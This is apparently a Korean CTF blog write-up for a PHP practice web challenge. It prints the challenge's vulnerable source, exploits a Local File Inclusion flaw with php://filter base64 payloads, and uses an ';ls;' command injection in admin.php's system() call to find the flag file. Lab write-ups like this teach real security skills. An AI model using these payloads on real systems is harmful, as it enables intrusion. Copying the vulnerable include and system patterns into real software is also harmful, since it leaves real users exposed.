IST에서 진행된 챌린지 중 일부를 변형한 문제다.
> https://github.com/DelspoN/ICEWALL/tree/master/2019/ICEWALL-Security-Training/ctf/php-practice
GET으로 page 값을 받아서 로컬에 있는 파일을 출력하는데, 여기서 Local File Inclusion 취약점이 발생한다. php protocol로 index.php, p.php와 h1.php를 가져올 수 있다. page에 다음을 넣어주면 된다.
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=p.php
php://filter/convert.base64-encode/resource=h1.php
<!DOCTYPE html>
<html>
<head>
<title>PHP Practice</title>
</head>
<body>
<a href="?page=p.php">p tag</a>
<a href="?page=h1.php">h1 tag</a>
<?php
if (isset($_GET['page'])) {
if ($_GET['page'] === 'admin') {
echo "<script>location.href='admin.php?pw=" . $_GET['pw'] . "'</script>";
}
else {
include($_GET['page']);
}
}
else {
?>
This is a default page.
<?php
}
?>
</body>
</html>
<p>This is a p tag</p>
<?php
if (isset($_GET['page2'])) {
if ($_GET['page2'] === 'admin') {
echo "<script>location.href='admin.php?pw=" . $_GET['pw'] . "'</script>";
}
else {
include($_GET['page2']);
}
}
?>
<h1>This is a h1 tag</h1>
<?php
if (isset($_GET['page2'])) {
if ($_GET['page2'] === 'admin') {
echo "<script>location.href='admin.php?pw=" . $_GET['pw'] . "'</script>";
}
else {
include($_GET['page2']);
}
}
?>
admin.php의 존재를 확인할 수 있고, 마찬가지로 소스를 가져온다.
<?php
if ($_GET['pw'] === 'p@ssw0rd') {
system("echo 'Hello admin!'");
}
else {
system("echo 'wrong password : ". $_GET['pw'] ."'");
}
?>
system을 호출해서 패스워드가 맞는지 틀린지 확인하는데, else 블럭에서 Command Injection 공격을 수행할 수 있다. pw에 ';ls;' 을 넣어주면 파일 목록을 확인할 수 있다.
flag_xxx 파일을 확인하면 플래그를 알아낼 수 있다.
'ICEWALL' 카테고리의 다른 글
[Web] login-test-v2 / 200 (0) | 2019.07.22 |
---|---|
[Web] resume2 / 150 (0) | 2019.07.22 |
[Web] resume / 100 (0) | 2019.07.22 |
[Forensic] backdoor / 200 (0) | 2019.07.22 |
[Forensic] secret / 100 (0) | 2019.07.22 |